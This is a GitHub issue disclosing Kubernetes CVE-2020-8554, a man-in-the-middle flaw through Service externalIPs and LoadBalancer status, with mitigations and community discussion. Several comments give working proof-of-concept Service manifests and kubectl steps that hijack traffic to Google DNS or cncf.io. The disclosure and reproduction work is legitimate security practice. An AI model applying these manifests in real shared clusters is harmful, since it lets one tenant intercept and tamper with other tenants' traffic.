Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2020-8554: Man in the middle using LoadBalancer or ExternalIPs #97076

Closed
tallclair opened this issue Dec 4, 2020 · 36 comments
Closed

CVE-2020-8554: Man in the middle using LoadBalancer or ExternalIPs #97076

tallclair opened this issue Dec 4, 2020 · 36 comments
Labels
area/security committee/security-response Denotes an issue or PR intended to be handled by the product security committee. kind/bug Categorizes issue or PR as related to a bug. official-cve-feed Issues or PRs related to CVEs officially announced by Security Response Committee (SRC) sig/network Categorizes an issue or PR as relevant to SIG Network.

Comments

@tallclair
Copy link
Member

tallclair commented Dec 4, 2020

CVSS Rating: Medium (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)

This issue affects multitenant clusters. If a potential attacker can already create or edit services and pods, then they may be able to intercept traffic from other pods (or nodes) in the cluster.

An attacker that is able to create a ClusterIP service and set the spec.externalIPs field can intercept traffic to that IP. An attacker that is able to patch the status (which is considered a privileged operation and should not typically be granted to users) of a LoadBalancer service can set the status.loadBalancer.ingress.ip to similar effect.
This issue is a design flaw that cannot be mitigated without user-facing changes.

Affected Components and Configurations

All Kubernetes versions are affected. Multi-tenant clusters that grant tenants the ability to create and update services and pods are most vulnerable.

Mitigations

There is no patch for this issue, and it can currently only be mitigated by restricting access to the vulnerable features. Because an in-tree fix would require a breaking change, we will open a conversation about a longer-term fix or built-in mitigation after the embargo is lifted

To restrict the use of external IPs we are providing an admission webhook container: k8s.gcr.io/multitenancy/externalip-webhook:v1.0.0. The source code and deployment instructions are published at https://github.com/kubernetes-sigs/externalip-webhook.

Alternatively, external IPs can be restricted using OPA Gatekeeper. A sample ConstraintTemplate and Constraint can be found here: https://github.com/open-policy-agent/gatekeeper-library/tree/master/library/general/externalip.

No mitigations are provided for LoadBalancer IPs since we do not recommend granting users patch service/status permission. If LoadBalancer IP restrictions are required, the approach for the external IP mitigations can be copied.

Detection

ExternalIP services are not widely used, so we recommend manually auditing any external IP usage. Users should not patch service status, so audit events for patch service status requests authenticated to a user may be suspicious.

If you find evidence that this vulnerability has been exploited, please contact security@kubernetes.io

Acknowledgements

This vulnerability was reported by Etienne Champetier (@champtar) of Anevia.

/area security
/kind bug
/committee product-security
/sig network

@tallclair tallclair added the kind/bug Categorizes issue or PR as related to a bug. label Dec 4, 2020
@k8s-ci-robot k8s-ci-robot added the needs-sig Indicates an issue or PR lacks a `sig/foo` label and requires one. label Dec 4, 2020
@k8s-ci-robot
Copy link
Contributor

@tallclair: There are no sig labels on this issue. Please add an appropriate label by using one of the following commands:

  • /sig <group-name>
  • /wg <group-name>
  • /committee <group-name>

Please see the group list for a listing of the SIGs, working groups, and committees available.

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

@k8s-ci-robot k8s-ci-robot added the needs-triage Indicates an issue or PR lacks a `triage/foo` label and requires one. label Dec 4, 2020
@k8s-ci-robot
Copy link
Contributor

@tallclair: This issue is currently awaiting triage.

If a SIG or subproject determines this is a relevant issue, they will accept it by applying the triage/accepted label and provide further guidance.

The triage/accepted label can be added by org members by writing /triage accepted in a comment.

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

@tallclair tallclair changed the title RESERVED CVE-2020-8554: Man in the middle using LoadBalancer or ExternalIPs Dec 7, 2020
@tallclair tallclair added area/security committee/security-response Denotes an issue or PR intended to be handled by the product security committee. sig/network Categorizes an issue or PR as relevant to SIG Network. and removed needs-sig Indicates an issue or PR lacks a `sig/foo` label and requires one. needs-triage Indicates an issue or PR lacks a `triage/foo` label and requires one. labels Dec 7, 2020
@jcrowthe
Copy link

jcrowthe commented Dec 7, 2020

This ticket is sparse on details. May either more detail or a POC be provided?

@dharmab
Copy link
Contributor

dharmab commented Dec 7, 2020

I'm particularly confused by this line:

An attacker that is able to create a ClusterIP service and set the spec.externalIPs field can intercept traffic to that IP.

Is traffic intercepted if the client is using the service discovery name or another DNS name that resolves to the targeted IP? Or is this only intercepted if the client uses the IP address without DNS?

@tallclair
Copy link
Member Author

If you create a service with an arbitrary external IP, then traffic to that external IP from within the cluster will be routed to that service. This lets an attacker that has permission to create a service with an external IP to intercept traffic to any target IP.

The routing happens at the IP layer, so I don't think it matters if they use DNS or not (once DNS resolves to the target IP, I think it will still be intercepted).

@dharmab
Copy link
Contributor

dharmab commented Dec 7, 2020

Ah, I see. So I could create a Service like this to intercept some or all UDP traffic from Pods in the cluster to Google DNS:

apiVersion: v1
kind: Service
metadata:
  name: my-evil-service
  namespace: my-evil-namespace
spec:
  selector:
    app: my-evil-dns-server
  ports:
    - name: dns
      protocol: UDP
      port: 53
      targetPort: 9053
  externalIPs:
    - 8.8.8.8
    - 8.8.4.4

@tallclair
Copy link
Member Author

I'm closing this issue, since #97110 captures the follow up items.

@champtar
Copy link
Contributor

champtar commented Dec 7, 2020

I'll try to finish my write up tonight, but when I did all my tests externalIPs were not working in some cases where LoadBalancer was working.
EDIT: Here the write up: https://blog.champtar.fr/K8S_MITM_LoadBalancer_ExternalIPs/

@danquack
Copy link

danquack commented Dec 8, 2020

For those looking to reproduce from the above ^

~ kubectl run nginx --image nginx:latest --port 80
~ cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Service
metadata:
  name: my-evil-service
spec:
  selector:
    run: nginx
  type: LoadBalancer
  ports:
    - name: http
      protocol: TCP
      port: 80
      targetPort: 80
  externalIPs:
    - 23.185.0.3 #cncf.io
EOF
~ kubectl get service
NAME              TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)   AGE
kubernetes        ClusterIP      10.96.0.1      <none>        443/TCP        25d
my-evil-service   LoadBalancer   10.97.145.71   23.185.0.3    80:30904/TCP   47m
~  kubectl run --rm -i --tty curl --image=curlimages/curl --restart=Never -- curl -I http://cncf.io
HTTP/1.1 200 OK
Server: nginx/1.19.5
Date: Tue, 08 Dec 2020 02:22:21 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 24 Nov 2020 13:02:03 GMT
Connection: keep-alive
ETag: "5fbd044b-264"
Accept-Ranges: bytes
...
~  kubectl run --rm -i --tty curl --image=curlimages/curl --restart=Never -- curl -I http://23.185.0.3
HTTP/1.1 200 OK
Server: nginx/1.19.5
Date: Tue, 08 Dec 2020 02:17:52 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 24 Nov 2020 13:02:03 GMT
Connection: keep-alive
ETag: "5fbd044b-264"
Accept-Ranges: bytes
...

@champtar
Copy link
Contributor

champtar commented Dec 8, 2020

@maplain just edited my message, with my write-up link, you will find in it how to patch the status easily
@danquack you are using type: LoadBalancer and externalIPs, never tried that, does it change anything compared to type: ClusterIP

@maplain
Copy link

maplain commented Dec 8, 2020

you are using type: LoadBalancer and externalIPs, never tried that, does it change anything compared to type: ClusterIP

I actually tried to set externalIP and loadBalancerIP both using type: loadBalancer. As a result, I'm able to intercept traffic destined for both.
(I used Google's IP in externalIPs and one VIP for another application in loadBalancerIP)

kube-proxy has similar parallel logic to handle them: https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go#L1088 and https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go#L1164 so the finding is aligned

@danquack
Copy link

danquack commented Dec 8, 2020

@champtar ClusterIP seemed to do the same result. In my local environment, external IP hangs in pending, so that's why I went with externalIPs over loadBalancerIP

~ cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Service
metadata:
  name: my-evil-service
spec:
  selector:
    run: nginx
  type: ClusterIP
  ports:
    - name: http
      protocol: TCP
      port: 80
      targetPort: 80
  externalIPs:
    - 23.185.0.3 #cncf.io
EOF
 ~ kubectl run --rm -i --tty curl --image=curlimages/curl --restart=Never -- curl -I http://cncf.io
HTTP/1.1 200 OK
Server: nginx/1.19.5

@champtar
Copy link
Contributor

champtar commented Dec 8, 2020

@maplain what LoadBalancer are you using ? if just setting loadBalancerIP make the LB patch the status with this IP this is a problem

@borgerli
Copy link
Contributor

borgerli commented Dec 8, 2020

Thanks. But I could not reproduce the problem in my minikube 1.19 cluster following the steps. Here is what I got:

ubuntu@server:~$ kubectl get svc 
NAME              TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)   AGE
kubernetes        ClusterIP   10.96.0.1       <none>        443/TCP   4m55s
my-evil-service   ClusterIP   10.107.202.84   23.185.0.3    80/TCP    3m45s
ubuntu@server:~$ kubectl get ep
NAME              ENDPOINTS           AGE
kubernetes        192.168.49.2:8443   5m
my-evil-service   172.17.0.3:80       3m50s
ubuntu@server:~$ kubectl get po -o wide
NAME    READY   STATUS    RESTARTS   AGE   IP           NODE       NOMINATED NODE   READINESS GATES
nginx   1/1     Running   0          4m    172.17.0.3   minikube   <none>           <none>
ubuntu@server:~$ kubectl run --rm -i --tty curl --image=curlimages/curl --restart=Never -- curl -I http://23.185.0.3
HTTP/1.1 404 Unknown site
Retry-After: 0
Server: Pantheon
X-pantheon-fun-reason: The gods are wise, but do not know of the site which you seek.
X-pantheon-fun-extended: Please double-check that you are using the correct url. If so, make sure it matches your dashboard's custom domain settings, and try again in 2 minutes.
Cache-Control: no-cache, must-revalidate
Content-Type: text/html; charset=utf-8
Content-Length: 4040
Date: Tue, 08 Dec 2020 11:40:16 GMT
Connection: keep-alive
X-Served-By: cache-mdw17334-MDW, cache-hkg17923-HKG
X-Cache: MISS, MISS
X-Cache-Hits: 0, 0
X-Timer: S1607427617.727297,VS0,VE172
Vary: Cookie, Cookie
Age: 0
Accept-Ranges: bytes
Via: 1.1 varnish, 1.1 varnish

pod "curl" deleted

@AbirHamzi
Copy link

Just tested on AKS 1.18.10, before patching EXTERNAL-IP is pending, and I was able to patch 1.1.1.1 then 1.1.1.2

Yes I can patch the externalIP since its path is /spec/externalIP. Can you please confirm that you can patch this path /status/loadbalancerIP/ingress/0/ip

@champtar
Copy link
Contributor

champtar commented Jan 1, 2021

By EXTERNAL-IP I mean the output of kubectl get svc, but I'm not touching externalIPs here.
I just copy pasted the commands from my blog, and it still works for me.

@AbirHamzi
Copy link

AbirHamzi commented Jan 2, 2021

By EXTERNAL-IP I mean the output of kubectl get svc, but I'm not touching externalIPs here.
I just copy pasted the commands from my blog, and it still works for me.

Yes thank you very much now I'm able to patch the loadbalancerIP I can see it changing in real time with --watch. I have no idea what was the problem.

@AbirHamzi
Copy link

AbirHamzi commented Jan 3, 2021

@champtar I'm working on a gatekeeper policy to block attempts to exploit CVE-2020-8554. Can you please give me your feedback open-policy-agent/gatekeeper-library#45

@agilgur5
Copy link

agilgur5 commented Mar 4, 2021

@champtar so in your write-up you mention Endpoints as well -- should Endpoints IPs also be check via policy? If so, it seems like there's potentially a number of other resources that aren't covered by existing sample policies (including loadBalancerIP as linked in above Gatekeeper PR)

@champtar
Copy link
Contributor

champtar commented Mar 4, 2021

You should not give permission to your users / applications to create Endpoints as they are created automatically.
If you can create Endpoints you might be able to steal some or all of the traffic yes, or maybe k8s will update it right away (need to check).

Now in 3a / 3b what I was doing is setting the EIP or LBIP to the IP of a victim pod, pod exposed behind a clusterIP, that's why I name it endpoint at some point

  • try to talk to the pod via the clusterIP service, see if traffic is intercepted (pod/node -> clusterIP)
  • try to talk to the pod directly, see if traffic is intercepted (pod/node -> endpoint)

@agilgur5
Copy link

agilgur5 commented Mar 9, 2021

@champtar thanks for the speedy clarification! the default namespace admin role gives permissions to create Endpoints; so that means the default for multi-tenancy is vulnerable in this resource as well and the mitigations in this issue and Gatekeeper do not cover this.
Endpoints IPs aren't limited to external IPs also, so it would also be hard to allowlist IPs here in the same way the existing policies do. Could limit the CIDR ranges, but interception is still possible.

But also with this not covered and being able to specify any IP, I'm worried there's more resources vulnerable to this as well.

@champtar
Copy link
Contributor

champtar commented Mar 9, 2021

If I remember correctly by creating Endpoints you can only attack Services in the same namespace, so if you are namespace admin you can just go edit the Service.

@bskidmore
Copy link

Is there a path forward to remediate this issue within the k8s?

@aojea
Copy link
Member

aojea commented Nov 29, 2021

Is there a path forward to remediate this issue within the k8s?

you can enable an admission controller #97395

@PushkarJ
Copy link
Member

PushkarJ commented Dec 2, 2021

/label official-cve-feed

(Related to kubernetes/sig-security#1)

@k8s-ci-robot k8s-ci-robot added the official-cve-feed Issues or PRs related to CVEs officially announced by Security Response Committee (SRC) label Dec 2, 2021
@rptaylor
Copy link

rptaylor commented Dec 14, 2021

An attacker that is able to patch the status (which is considered a privileged operation and should not typically be granted to
users) of a LoadBalancer service can set the status.loadBalancer.ingress.ip to similar effect.

No mitigations are provided for LoadBalancer IPs since we do not recommend granting users patch service/status permission.

If users are denied RBAC privilege to PATCH their services as mitigation for this, is there any other way they can update their services (for non-malicious purposes)? kubectl apply seems to require PATCH.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
area/security committee/security-response Denotes an issue or PR intended to be handled by the product security committee. kind/bug Categorizes issue or PR as related to a bug. official-cve-feed Issues or PRs related to CVEs officially announced by Security Response Committee (SRC) sig/network Categorizes an issue or PR as relevant to SIG Network.
Projects
None yet
Development

No branches or pull requests